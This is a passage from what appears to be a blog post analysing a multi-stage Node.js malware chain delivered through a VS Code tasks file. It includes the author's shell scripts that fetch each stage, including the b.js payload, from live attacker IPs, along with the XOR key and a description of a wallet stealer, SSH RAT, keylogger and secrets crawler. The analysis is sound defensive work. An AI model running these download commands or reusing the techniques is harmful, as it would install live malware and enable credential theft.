&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;sessionId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;f27b455a-2658-406e-92cc-2b0f60633d8c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;step&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;timestamp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1777511246075&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;origToken&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;40abc18736c9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;iat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1777511246&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;exp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1777511426&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;The Bypass:&lt;&#x2F;strong&gt;
I had to replicate the exact API calls the malware makes. I wrote a bash script to automatically pass through these nested steps before the JWT expiry window closed.
It totally feels like I&#x27;m playing with a russian matryoshka doll - layer after layer of attacks.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;inspect.sh (The shell script I wrote)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# The url mentioned in the .vscode&#x2F;tasks.json &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -qO ph1.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;https:&#x2F;&#x2F;gurucooldown.short.gy&#x2F;gxUsMe8l&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Upon analyzing the ph1.sh I found this pattern&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PHASE2_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -oP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;http:&#x2F;&#x2F;165.140.86.190:3000&#x2F;task&#x2F;tokenlinux[^&amp;quot;]*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; ph1.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -qO ph2.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$PHASE2_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Analyzing the ph2.sh, I found it is making another network request&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# so I extracted the endpoint and assemble the full URL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ENDPOINT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -oP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;task&#x2F;parser\?token=[^&amp;quot;]*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; ph2.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PHASE3_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;http:&#x2F;&#x2F;165.140.86.190:3000&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;$ENDPOINT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -qO parser.js&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$PHASE3_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -qO package.json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;http:&#x2F;&#x2F;165.140.86.190:3000&#x2F;task&#x2F;package.json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;This script was not written in one-go. I had to analyze shell files I got in each steps, to get the nested (next) stage. This consumed a lot of time, but was very thrilling and satisfactory.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;phase-3-reverse-engineering-the-javascript-orchestrator-parser-js&quot;&gt;PHASE 3: Reverse Engineering the JavaScript Orchestrator (parser.js)&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;c2.sh&lt;&#x2F;code&gt; (my shell script to get the b.js file from server)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# Ping the C2 server for the payload coordinates&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;RESPONSE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -qO- http:&#x2F;&#x2F;78.142.218.26:1244&#x2F;s&#x2F;40abc18736c9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Server response: &lt;&#x2F;span&gt;&lt;span&gt;$RESPONSE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;# If the server provides the &amp;quot;ZT3&amp;quot; token, crack it open&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; [[ &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$RESPONSE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; ==&lt;&#x2F;span&gt;&lt;span&gt; ZT3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;* ]];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ENCODED_DATA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=${&lt;&#x2F;span&gt;&lt;span&gt;RESPONSE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    DECODED_DATA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$ENCODED_DATA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; base64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;    # Extract the Hash (it&amp;#39;s the second part of the comma-separated string)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    HASH&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$DECODED_DATA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -f2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Extracted Payload Hash: &lt;&#x2F;span&gt;&lt;span&gt;$HASH&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;    # Download b.js malware&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -qO b.js&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;http:&#x2F;&#x2F;78.142.218.26:1244&#x2F;f&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;$HASH&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Success! Check file size:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    ls&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -l b.js&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;    echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;The server rejected the token or didn&amp;#39;t respond.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;parser.js&lt;&#x2F;code&gt; and &lt;code&gt;b.js&lt;&#x2F;code&gt; files are not attached to this post, but the analysis below documents every significant finding from both files in full technical detail.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Static analysis of the downloaded &lt;code&gt;parser.js&lt;&#x2F;code&gt; file revealed a heavily obfuscated Node.js script utilizing a custom string-shifting packer to evade signature detection.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The Deobfuscation:&lt;&#x2F;strong&gt;
Instead of manual string dumping, I utilized Abstract Syntax Tree (AST) manipulation to computationally strip the armor. Using &lt;code&gt;webcrack&lt;&#x2F;code&gt;, I successfully deobfuscated the control flow. The exposed code revealed several hardcoded byte arrays and a custom bitwise XOR decryption function.&lt;&#x2F;p&gt;
&lt;p&gt;By isolating the decryption engine and manually passing the hidden arrays through the XOR cipher, the malware&#x27;s immediate objectives became clear in plain text.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The XOR Key and Decoded Strings:&lt;&#x2F;strong&gt;
The decryption function &lt;code&gt;U()&lt;&#x2F;code&gt; uses a four-byte XOR key &lt;code&gt;S = [112, 160, 137, 72]&lt;&#x2F;code&gt;,
cycling through it with &lt;code&gt;a[i] ^ S[i % 4]&lt;&#x2F;code&gt;. Every sensitive string in the file
is stored as a raw byte array and decoded only at runtime. Manually passing each
array through the cipher reveals the actual strings the malware assembles:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Byte Array Variable&lt;&#x2F;th&gt;&lt;th&gt;Decoded Value&lt;&#x2F;th&gt;&lt;th&gt;Purpose&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Q&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;.task&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Hidden working directory name&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;K&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;b.js&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Final payload filename&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;O&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;s&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;C2 URL path segment&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;tt&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;f&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;C2 file download path&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;rt&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;cd&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Shell command prefix&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;it&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;nohup&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Process launcher (Linux)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;The nohup Disguise (Linux-specific):&lt;&#x2F;strong&gt;
On Linux and macOS, the final payload is launched using &lt;code&gt;child_process.spawn&lt;&#x2F;code&gt; with &lt;code&gt;detached: true&lt;&#x2F;code&gt; and &lt;code&gt;unref()&lt;&#x2F;code&gt; to orphan the process from its parent.
On Linux specifically, the spawn call uses &lt;code&gt;nohup&lt;&#x2F;code&gt; as the executable name in the process arguments.
This means the running Node.js process appears in the system process list as &lt;code&gt;nohup&lt;&#x2F;code&gt; rather than &lt;code&gt;node&lt;&#x2F;code&gt;. A developer checking &lt;code&gt;ps aux&lt;&#x2F;code&gt; for suspicious Node.js processes would not find it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The ZT3 Handshake Protocol:&lt;&#x2F;strong&gt;
Before downloading any payload, the C2 server uses a custom handshake. The orchestrator contacts the server at &lt;code&gt;&#x2F;s&#x2F;40abc18736c9&lt;&#x2F;code&gt;.
If the server responds with a string beginning &lt;code&gt;ZT3&lt;&#x2F;code&gt;, the client strips those three characters, base64-decodes the remainder, and splits on a comma.
The first part becomes the download URL prefix. The second part becomes the payload hash used to construct the exact download path for &lt;code&gt;b.js&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This is a dead man&#x27;s switch design. If the server does not send &lt;code&gt;ZT3&lt;&#x2F;code&gt;, the entire attack chain stops silently. No payload is downloaded. No error is thrown.
The machine shows no sign of compromise. This also means the operator can terminate all active infections simultaneously simply by changing the server response.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The Registration Beacon:&lt;&#x2F;strong&gt;
Immediately after the handshake succeeds, the orchestrator sends a POST request to the C2 at &lt;code&gt;&#x2F;keys&lt;&#x2F;code&gt; before downloading anything.
The payload contains: a Unix timestamp, the payload type identifier, a host ID built from the machine hostname (on macOS the username is appended to the hostname),
a session state string, and a Node.js version fingerprint derived from the process arguments.&lt;&#x2F;p&gt;
&lt;p&gt;This tells the operator which machine connected, which OS it is running, and which version of the attack chain delivered it, all before a single file is exfiltrated.
The operator is watching infections in real time, not collecting data passively.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;phase-4-dissecting-the-b-js-file&quot;&gt;PHASE 4: Dissecting the b.js file&lt;&#x2F;h2&gt;
&lt;p&gt;The orchestrator’s (&lt;code&gt;parser.js&lt;&#x2F;code&gt;) primary function is to fetch and execute &lt;code&gt;b.js&lt;&#x2F;code&gt;. Safe extraction of this file revealed a massive, modular exploitation framework rather than a simple script.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Architectural Breakdown:&lt;&#x2F;strong&gt;
After deobfuscation I found that the script contains a central object (&lt;code&gt;y&lt;&#x2F;code&gt;) housing four distinct Base64-encoded modules. The main loop extracts these modules and executes them simultaneously in memory, preventing them from touching the disk where antivirus scanners might flag them.&lt;&#x2F;p&gt;
&lt;p&gt;My analysis of the &lt;code&gt;b.js&lt;&#x2F;code&gt; file revealed highly specialized capabilities:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Crypto &amp;amp; Browser Stealer&lt;&#x2F;strong&gt;: Targets specific browser paths (Google Chrome, BraveSoftware). It contains hardcoded arrays of Chrome Extension IDs matching popular cryptocurrency wallets (MetaMask, Phantom, Binance Chain) and zips the Local Extension Settings alongside the browser&#x27;s master decryption key.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SSH RAT&lt;&#x2F;strong&gt;: A Remote Access Trojan built using the &lt;code&gt;ssh2&lt;&#x2F;code&gt; library. It establishes encrypted reverse tunnels to the attacker&#x27;s server, featuring an internal heartbeat mechanism to maintain persistence and commands to silently execute terminal tasks.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Live Surveillance&lt;&#x2F;strong&gt;: Utilizes &lt;code&gt;socket.io-client&lt;&#x2F;code&gt; for low-latency communication. It imports the &lt;code&gt;sharp&lt;&#x2F;code&gt; image processing library to compress and stream live screenshots, hooking into native OS events to log keystrokes and sniff clipboard contents in real time.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Deep File Crawler&lt;&#x2F;strong&gt;: An asynchronous file hunter. It bypasses system directories to optimize speed, recursively scanning user folders for specific developer secrets. The target list explicitly includes &lt;code&gt;*.env&lt;&#x2F;code&gt;, &lt;code&gt;*.pem&lt;&#x2F;code&gt;, &lt;code&gt;*id_rsa&lt;&#x2F;code&gt;, &lt;code&gt;*.kdbx&lt;&#x2F;code&gt; (KeePass databases), and cloud infrastructure configuration files. It uses a concurrency queue to silently upload these files in batches, preventing CPU spikes.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;phase-5-intercepting-the-command-and-control&quot;&gt;PHASE 5: Intercepting the Command and Control&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;code&gt;b.js&lt;&#x2F;code&gt; acts as a staging mechanism to download final compiled binaries from a secondary Command and Control (C2) infrastructure.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Network Logic Reversal:&lt;&#x2F;strong&gt;
The script dynamically generates the C2 URLs using a custom Base64 shuffling function. By writing a quick script to reverse this shuffling logic, the true payload endpoints were exposed:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Windows Payload: &lt;code&gt;http:&#x2F;&#x2F;45.59.160.200:1244&#x2F;clw&#x2F;gxUsMe8&lt;&#x2F;code&gt; (Downloads mod.pyd)&lt;&#x2F;li&gt;
